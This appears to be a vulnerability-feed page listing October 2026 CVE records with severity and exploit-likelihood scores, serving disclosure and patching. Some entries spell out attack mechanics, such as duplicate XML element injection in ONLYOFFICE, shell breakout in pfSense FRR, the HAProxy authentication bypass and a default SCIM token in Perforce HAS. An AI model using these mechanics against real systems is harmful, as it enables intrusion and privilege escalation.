### An untrusted search path in DeepSeek Harness (dsh) commit c291e796 allows attackers to execute arbitrary code via supplying and opening crafted executable files in place of...
https://kevwire.com/record/CVE-2026-95182
An untrusted search path in DeepSeek Harness (dsh) commit c291e796 allows attackers to execute arbitrary code via supplying and opening crafted executable files in place of... (Oct 16, 2026).
An untrusted search path in DeepSeek Harness (dsh) commit c291e796 allows attackers to execute arbitrary code via supplying and opening crafted executable files in place of legitimate content.
CVSS 10.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95182).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95182&date=2026-10-25).
Sources:
NVD CVE-2026-95182: https://nvd.nist.gov/vuln/detail/CVE-2026-95182
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95182&date=2026-10-25
An untrusted search path in DeepSeek Harness (dsh) commit c291e796 allows attackers to execute arbitrary code via supplying and opening crafted executable files in place of legitimate content.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in Steve where by default it was using an insecure option that did not validate the certificate presented by the remote server while performing...
https://kevwire.com/record/CVE-2023-32198
A vulnerability has been identified in Steve where by default it was using an insecure option that did not validate the certificate presented by the remote server while performing... (Oct 15, 2026).
A vulnerability has been identified in Steve where by default it was using an insecure option that did not validate the certificate presented by the remote server while performing a TLS connection. This could allow the execution of a man-in-the-middle (MitM) attack against services using Steve.
CVSS 8.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2023-32198).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-32198&date=2026-10-25).
Sources:
NVD CVE-2023-32198: https://nvd.nist.gov/vuln/detail/CVE-2023-32198
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-32198&date=2026-10-25
A vulnerability has been identified in Steve where by default it was using an insecure option that did not validate the certificate presented by the remote server while performing a TLS connection. This could allow the execution of a man-in-the-middle (MitM) attack against services using Steve.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified within Rancher where a user with the ability to create a project, on a certain cluster, can create a project with the same name as an existing...
https://kevwire.com/record/CVE-2024-22031
A vulnerability has been identified within Rancher where a user with the ability to create a project, on a certain cluster, can create a project with the same name as an existing... (Oct 15, 2026).
A vulnerability has been identified within Rancher where a user with the ability to create a project, on a certain cluster, can create a project with the same name as an existing project in a different cluster. This results in the user gaining access to the other project in the different cluster, resulting in a privilege escalation. This happens because the namespace used on the local cluster to store related resources (PRTBs and secrets) is the name of the project.
CVSS 8.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2024-22031).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-22031&date=2026-10-25).
Sources:
NVD CVE-2024-22031: https://nvd.nist.gov/vuln/detail/CVE-2024-22031
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-22031&date=2026-10-25
A vulnerability has been identified within Rancher where a user with the ability to create a project, on a certain cluster, can create a project with the same name as an existing project in a different cluster. This results in the user gaining access to the other project in the different cluster, resulting in a privilege escalation. This happens because the namespace used on the local cluster to store related resources (PRTBs and secrets) is the name of the project.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When base64 data is split up in pieces, of 3 character or less, tokens were incorrectly calculated to produce 0 bytes.
https://kevwire.com/record/CVE-2026-101337
When base64 data is split up in pieces, of 3 character or less, tokens were incorrectly calculated to produce 0 bytes. (Oct 14, 2026).
When base64 data is split up in pieces, of 3 character or less, tokens were incorrectly calculated to produce 0 bytes. This enables attackers to overwrite the stack with up to 64K of attacker controlled data.  Zone files which are written out by NSD itself, such as for zones for which the NSD instance is secondary, will not be formatted like this. The zone file must be fed to NSD directly, (but it could come, for example, from an operator controlled provisioning system).
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101337).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101337&date=2026-10-25).
Sources:
NVD CVE-2026-101337: https://nvd.nist.gov/vuln/detail/CVE-2026-101337
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101337&date=2026-10-25
When base64 data is split up in pieces, of 3 character or less, tokens were incorrectly calculated to produce 0 bytes. This enables attackers to overwrite the stack with up to 64K of attacker controlled data.  Zone files which are written out by NSD itself, such as for zones for which the NSD instance is secondary, will not be formatted like this. The zone file must be fed to NSD directly, (but it could come, for example, from an operator controlled provisioning system).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When a SVCB or HTTPS RR has filled the wire format RDATA up to the brim, another ECH parameter may overwrite the stack, and once beyond the limit, the base64 decoder can write...
https://kevwire.com/record/CVE-2026-101338
When a SVCB or HTTPS RR has filled the wire format RDATA up to the brim, another ECH parameter may overwrite the stack, and once beyond the limit, the base64 decoder can write... (Oct 14, 2026).
When a SVCB or HTTPS RR has filled the wire format RDATA up to the brim, another ECH parameter may overwrite the stack, and once beyond the limit, the base64 decoder can write attacker controlled data of unlimited size.  Zone files which are written out by NSD itself, such as for zones for which the NSD instance is secondary, will not be formatted like this. The zone file must be fed to NSD directly, (but it could come, for example, from an operator controlled provisioning system).
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101338).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101338&date=2026-10-25).
Sources:
NVD CVE-2026-101338: https://nvd.nist.gov/vuln/detail/CVE-2026-101338
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101338&date=2026-10-25
When a SVCB or HTTPS RR has filled the wire format RDATA up to the brim, another ECH parameter may overwrite the stack, and once beyond the limit, the base64 decoder can write attacker controlled data of unlimited size.  Zone files which are written out by NSD itself, such as for zones for which the NSD instance is secondary, will not be formatted like this. The zone file must be fed to NSD directly, (but it could come, for example, from an operator controlled provisioning system).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A HIP resource record that fills the RDATA near or at is limit, and has another dname RDATA field (a HIP Rendezvous server) can overwrite the stack with up to 191 bytes of...
https://kevwire.com/record/CVE-2026-101339
A HIP resource record that fills the RDATA near or at is limit, and has another dname RDATA field (a HIP Rendezvous server) can overwrite the stack with up to 191 bytes of... (Oct 14, 2026).
A HIP resource record that fills the RDATA near or at is limit, and has another dname RDATA field (a HIP Rendezvous server) can overwrite the stack with up to 191 bytes of attacker controlled data.  Zone files which are written out by NSD itself, such as for zones for which the NSD instance is secondary, will not be formatted like this. The zone file must be fed to NSD directly, (but it could come, for example, from an operator controlled provisioning system).
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101339).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101339&date=2026-10-25).
Sources:
NVD CVE-2026-101339: https://nvd.nist.gov/vuln/detail/CVE-2026-101339
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101339&date=2026-10-25
A HIP resource record that fills the RDATA near or at is limit, and has another dname RDATA field (a HIP Rendezvous server) can overwrite the stack with up to 191 bytes of attacker controlled data.  Zone files which are written out by NSD itself, such as for zones for which the NSD instance is secondary, will not be formatted like this. The zone file must be fed to NSD directly, (but it could come, for example, from an operator controlled provisioning system).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### P4 Search (formerly Helix Search) allows an authenticated user holding administrative privileges on the connected P4 Server to supply a crafted logging configuration that causes...
https://kevwire.com/record/CVE-2026-103508
P4 Search (formerly Helix Search) allows an authenticated user holding administrative privileges on the connected P4 Server to supply a crafted logging configuration that causes... (Oct 15, 2026).
P4 Search (formerly Helix Search) allows an authenticated user holding administrative privileges on the connected P4 Server to supply a crafted logging configuration that causes files to be written or deleted outside the intended logging directory. This could lead to code execution as the P4 Search service account. This issue affects P4 Search 2026.4.2 and earlier.



Perforce resolved it in 2026.4.3.
CVSS 7.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103508).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103508&date=2026-10-25).
Sources:
NVD CVE-2026-103508: https://nvd.nist.gov/vuln/detail/CVE-2026-103508
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103508&date=2026-10-25
P4 Search (formerly Helix Search) allows an authenticated user holding administrative privileges on the connected P4 Server to supply a crafted logging configuration that causes files to be written or deleted outside the intended logging directory. This could lead to code execution as the P4 Search service account. This issue affects P4 Search 2026.4.2 and earlier.



Perforce resolved it in 2026.4.3.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### P4 Search (formerly Helix Search) returns stored credentials in cleartext through its configuration API to users with administrative privileges on the connected P4 Server,...
https://kevwire.com/record/CVE-2026-103509
P4 Search (formerly Helix Search) returns stored credentials in cleartext through its configuration API to users with administrative privileges on the connected P4 Server,... (Oct 15, 2026).
P4 Search (formerly Helix Search) returns stored credentials in cleartext through its configuration API to users with administrative privileges on the connected P4 Server, allowing privilege escalation.
This affects 2026.4.2 and earlier and is fixed in 2026.4.3.
CVSS 8.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103509).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103509&date=2026-10-25).
Sources:
NVD CVE-2026-103509: https://nvd.nist.gov/vuln/detail/CVE-2026-103509
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103509&date=2026-10-25
P4 Search (formerly Helix Search) returns stored credentials in cleartext through its configuration API to users with administrative privileges on the connected P4 Server, allowing privilege escalation.
This affects 2026.4.2 and earlier and is fixed in 2026.4.3.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A connected peer cluster can modify a Temporal Server cluster's local namespaces, which are never replicated to that peer, because the receiving cluster applies inbound namespace...
https://kevwire.com/record/CVE-2026-104355
A connected peer cluster can modify a Temporal Server cluster's local namespaces, which are never replicated to that peer, because the receiving cluster applies inbound namespace... (Oct 12, 2026).
A connected peer cluster can modify a Temporal Server cluster's local namespaces, which are never replicated to that peer, because the receiving cluster applies inbound namespace replication updates to them. In a multi-cluster deployment, each cluster pulls replication tasks from the remote clusters an administrator has registered with connection enabled; the sending side excludes local namespaces, but the receiving side does not apply the same rule. When an inbound task names an existing namespace, the server checks at most that the namespace identifiers match, then overwrites its state, description, owner, retention, archival settings, and cluster list, and its active cluster when the task carries a higher failover version, without checking that the namespace is global. A party that controls a registered peer's replies, by operating or compromising it, can therefore change any local namespace whose name and identifier it can supply, without any credential on the receiving cluster: for example, marking it Deprecated, making the peer its active cluster, and shortening its retention, after which new Workflow starts in that namespace fail. Local namespaces include the built-in temporal-system namespace. Namespace metadata the History service refreshes from the peer while processing its history replication tasks passes through the same logic. A cluster with no remote cluster registered with connection enabled is not exposed.
CVSS 7.0 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104355).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104355&date=2026-10-25).
Sources:
NVD CVE-2026-104355: https://nvd.nist.gov/vuln/detail/CVE-2026-104355
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104355&date=2026-10-25
A connected peer cluster can modify a Temporal Server cluster's local namespaces, which are never replicated to that peer, because the receiving cluster applies inbound namespace replication updates to them. In a multi-cluster deployment, each cluster pulls replication tasks from the remote clusters an administrator has registered with connection enabled; the sending side excludes local namespaces, but the receiving side does not apply the same rule. When an inbound task names an existing namespace, the server checks at most that the namespace identifiers match, then overwrites its state, description, owner, retention, archival settings, and cluster list, and its active cluster when the task carries a higher failover version, without checking that the namespace is global. A party that controls a registered peer's replies, by operating or compromising it, can therefore change any local namespace whose name and identifier it can supply, without any credential on the receiving cluster: for example, marking it Deprecated, making the peer its active cluster, and shortening its retention, after which new Workflow starts in that namespace fail. Local namespaces include the built-in temporal-system namespace. Namespace metadata the History service refreshes from the peer while processing its history replication tasks passes through the same logic. A cluster with no remote cluster registered with connection enabled is not exposed.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In HAProxy Data Plane API 2.2.0 through 3.4.3 (and corresponding Enterprise Edition releases), Server.ConfigureAPI() has process-global authentication logic that improperly drops...
https://kevwire.com/record/CVE-2026-109575
In HAProxy Data Plane API 2.2.0 through 3.4.3 (and corresponding Enterprise Edition releases), Server.ConfigureAPI() has process-global authentication logic that improperly drops... (Oct 12, 2026).
In HAProxy Data Plane API 2.2.0 through 3.4.3 (and corresponding Enterprise Edition releases), Server.ConfigureAPI() has process-global authentication logic that improperly drops security controls across multiple transport types. When a TLS Certificate Authority (tls_ca) is configured and a numeric TLS port (tls_port) is specified, the application globally disables Basic authentication on its shared internal request handler. Because this handler is shared concurrently among HTTP, HTTPS, and UNIX domain socket listeners, and mutual TLS (mTLS) client certificate verification (tls.RequireAndVerifyClientCert) is enforced exclusively on the HTTPS server path, all other simultaneously active non-mTLS listeners fail open. Consequently, an unauthenticated attacker capable of reaching an affected HTTP or UNIX management endpoint can completely bypass credentials to gain full API administrative access. This allows unauthorized remote or local actors to read sensitive, cleartext HAProxy configuration data or replace the managed configuration entirely via the raw configuration endpoint. This has been fixed in versions 3.4.4, 3.3.9, 3.2.17, 3.0.25, 2.9.29, and their respective EE backports by migrating to a per-request TLS connection-state validation model.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109575).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109575&date=2026-10-25).
Sources:
NVD CVE-2026-109575: https://nvd.nist.gov/vuln/detail/CVE-2026-109575
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109575&date=2026-10-25
In HAProxy Data Plane API 2.2.0 through 3.4.3 (and corresponding Enterprise Edition releases), Server.ConfigureAPI() has process-global authentication logic that improperly drops security controls across multiple transport types. When a TLS Certificate Authority (tls_ca) is configured and a numeric TLS port (tls_port) is specified, the application globally disables Basic authentication on its shared internal request handler. Because this handler is shared concurrently among HTTP, HTTPS, and UNIX domain socket listeners, and mutual TLS (mTLS) client certificate verification (tls.RequireAndVerifyClientCert) is enforced exclusively on the HTTPS server path, all other simultaneously active non-mTLS listeners fail open. Consequently, an unauthenticated attacker capable of reaching an affected HTTP or UNIX management endpoint can completely bypass credentials to gain full API administrative access. This allows unauthorized remote or local actors to read sensitive, cleartext HAProxy configuration data or replace the managed configuration entirely via the raw configuration endpoint. This has been fixed in versions 3.4.4, 3.3.9, 3.2.17, 3.0.25, 2.9.29, and their respective EE backports by migrating to a per-request TLS connection-state validation model.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Perforce Helix Authentication Service (HAS) deployments that retain the shipped default SCIM bearer token are vulnerable to unauthorized access when the SCIM endpoint is reachable...
https://kevwire.com/record/CVE-2026-109758
Perforce Helix Authentication Service (HAS) deployments that retain the shipped default SCIM bearer token are vulnerable to unauthorized access when the SCIM endpoint is reachable... (Oct 13, 2026).
Perforce Helix Authentication Service (HAS) deployments that retain the shipped default SCIM bearer token are vulnerable to unauthorized access when the SCIM endpoint is reachable by an attacker. In affected versions of HAS, the installation templates contain a default credential which the installer copies into the active configuration; the installer and configuration script do not automatically replace that value with a random token. An attacker who knows the default token can authenticate to the SCIM API and perform user and group operations allowed by the configured provisioning backend.

This issue can be chained with CVE-2026-61834 in affected releases of the scim-patch dependency.

This vulnerability exists in version 2022.1 - 2025.2 of HAS however the underlying defect was removed in version 2026.1 which was released July 17th 2026. The vulnerability was identified in older versions of HAS after version 2026.1 was released.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109758).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109758&date=2026-10-25).
Sources:
NVD CVE-2026-109758: https://nvd.nist.gov/vuln/detail/CVE-2026-109758
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109758&date=2026-10-25
Perforce Helix Authentication Service (HAS) deployments that retain the shipped default SCIM bearer token are vulnerable to unauthorized access when the SCIM endpoint is reachable by an attacker. In affected versions of HAS, the installation templates contain a default credential which the installer copies into the active configuration; the installer and configuration script do not automatically replace that value with a random token. An attacker who knows the default token can authenticate to the SCIM API and perform user and group operations allowed by the configured provisioning backend.

This issue can be chained with CVE-2026-61834 in affected releases of the scim-patch dependency.

This vulnerability exists in version 2022.1 - 2025.2 of HAS however the underlying defect was removed in version 2026.1 which was released July 17th 2026. The vulnerability was identified in older versions of HAS after version 2026.1 was released.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A remote code execution vulnerability in ONLYOFFICE Document Server versions before10.0.0 allows an authenticated attacker with a valid Inbox-compatible JWT to execute arbitrary...
https://kevwire.com/record/CVE-2026-110385
A remote code execution vulnerability in ONLYOFFICE Document Server versions before10.0.0 allows an authenticated attacker with a valid Inbox-compatible JWT to execute arbitrary... (Oct 14, 2026).
A remote code execution vulnerability in ONLYOFFICE Document Server versions before10.0.0 allows an authenticated attacker with a valid Inbox-compatible JWT to execute arbitrary operating system commands as the ds service account. The Document Builder API improperly processes user-controlled converter XML supplied through the optional third argument of builder.SaveFile(). By injecting a duplicate m_sFileTo element, an attacker can override the server-generated output path and write arbitrary content outside the designated job directory. This allows the attacker to overwrite the runtime.json configuration file, modify the Document Builder executable path and arguments, and execute arbitrary commands when a subsequent Document Builder job is processed.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110385).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110385&date=2026-10-25).
Sources:
NVD CVE-2026-110385: https://nvd.nist.gov/vuln/detail/CVE-2026-110385
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110385&date=2026-10-25
A remote code execution vulnerability in ONLYOFFICE Document Server versions before10.0.0 allows an authenticated attacker with a valid Inbox-compatible JWT to execute arbitrary operating system commands as the ds service account. The Document Builder API improperly processes user-controlled converter XML supplied through the optional third argument of builder.SaveFile(). By injecting a duplicate m_sFileTo element, an attacker can override the server-generated output path and write arbitrary content outside the designated job directory. This allows the attacker to overwrite the runtime.json configuration file, modify the Document Builder executable path and arguments, and execute arbitrary commands when a subsequent Document Builder job is processed.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netgate pfSense FRR package (pfSense-pkg-frr) 2.0.2_1 and source revision 2.1.2_1 contain an OS command injection vulnerability in the FRR status filter.
https://kevwire.com/record/CVE-2026-110908
Netgate pfSense FRR package (pfSense-pkg-frr) 2.0.2_1 and source revision 2.1.2_1 contain an OS command injection vulnerability in the FRR status filter. (Oct 15, 2026).
Netgate pfSense FRR package (pfSense-pkg-frr) 2.0.2_1 and source revision 2.1.2_1 contain an OS command injection vulnerability in the FRR status filter. An authenticated WebGUI user with only the page-status-frr privilege can supply a filter value that breaks out of a single-quoted sed expression into which escapeshellarg() output is concatenated. Shell command substitution is then evaluated by a popen() pipeline, allowing attacker-selected commands to execute as root. There are updated FRR packages for pfSense Plus 26.07/26.03.1 and CE 2.9.0/2.8.1.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110908).
EPSS 6.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110908&date=2026-10-25).
Sources:
NVD CVE-2026-110908: https://nvd.nist.gov/vuln/detail/CVE-2026-110908
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110908&date=2026-10-25
Netgate pfSense FRR package (pfSense-pkg-frr) 2.0.2_1 and source revision 2.1.2_1 contain an OS command injection vulnerability in the FRR status filter. An authenticated WebGUI user with only the page-status-frr privilege can supply a filter value that breaks out of a single-quoted sed expression into which escapeshellarg() output is concatenated. Shell command substitution is then evaluated by a popen() pipeline, allowing attacker-selected commands to execute as root. There are updated FRR packages for pfSense Plus 26.07/26.03.1 and CE 2.9.0/2.8.1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Ivanti Connect Secure 22.8R2.4 mishandles the manner in which the dsinvoked broker trusts DSCache configuration data, leading to privilege escalation to root, as exploited in the...
https://kevwire.com/record/CVE-2026-111357
Ivanti Connect Secure 22.8R2.4 mishandles the manner in which the dsinvoked broker trusts DSCache configuration data, leading to privilege escalation to root, as exploited in the... (Oct 15, 2026).
Ivanti Connect Secure 22.8R2.4 mishandles the manner in which the dsinvoked broker trusts DSCache configuration data, leading to privilege escalation to root, as exploited in the wild in October 2026.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111357).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111357&date=2026-10-25).
Sources:
NVD CVE-2026-111357: https://nvd.nist.gov/vuln/detail/CVE-2026-111357
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111357&date=2026-10-25
Ivanti Connect Secure 22.8R2.4 mishandles the manner in which the dsinvoked broker trusts DSCache configuration data, leading to privilege escalation to root, as exploited in the wild in October 2026.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue was discovered in GStreamer gst-plugins-good before 1.28.2.
https://kevwire.com/record/CVE-2026-46472
An issue was discovered in GStreamer gst-plugins-good before 1.28.2. (Oct 16, 2026).
An issue was discovered in GStreamer gst-plugins-good before 1.28.2. While parsing an MP4 file, the isomp4 plugin's qtdemux_parse_chnl function may read past the end of a global array, potentially leading to information disclosure.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-46472).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-46472&date=2026-10-25).
Sources:
NVD CVE-2026-46472: https://nvd.nist.gov/vuln/detail/CVE-2026-46472
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-46472&date=2026-10-25
An issue was discovered in GStreamer gst-plugins-good before 1.28.2. While parsing an MP4 file, the isomp4 plugin's qtdemux_parse_chnl function may read past the end of a global array, potentially leading to information disclosure.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A potential vulnerability was reported in the Lenovo Legion Zone application, distributed exclusively in the Chinese market, that could allow an attacker on the same logical...
https://kevwire.com/record/CVE-2026-75941
A potential vulnerability was reported in the Lenovo Legion Zone application, distributed exclusively in the Chinese market, that could allow an attacker on the same logical... (Oct 16, 2026).
A potential vulnerability was reported in the Lenovo Legion Zone application, distributed exclusively in the Chinese market, that could allow an attacker on the same logical network to execute arbitrary code.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-75941).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75941&date=2026-10-25).
Sources:
NVD CVE-2026-75941: https://nvd.nist.gov/vuln/detail/CVE-2026-75941
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75941&date=2026-10-25
A potential vulnerability was reported in the Lenovo Legion Zone application, distributed exclusively in the Chinese market, that could allow an attacker on the same logical network to execute arbitrary code.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Libreswan's IKEv2 state machine has a null pointer dereference bug in the EAP handling code for authentication.
https://kevwire.com/record/CVE-2026-77206
Libreswan's IKEv2 state machine has a null pointer dereference bug in the EAP handling code for authentication. (Oct 13, 2026).
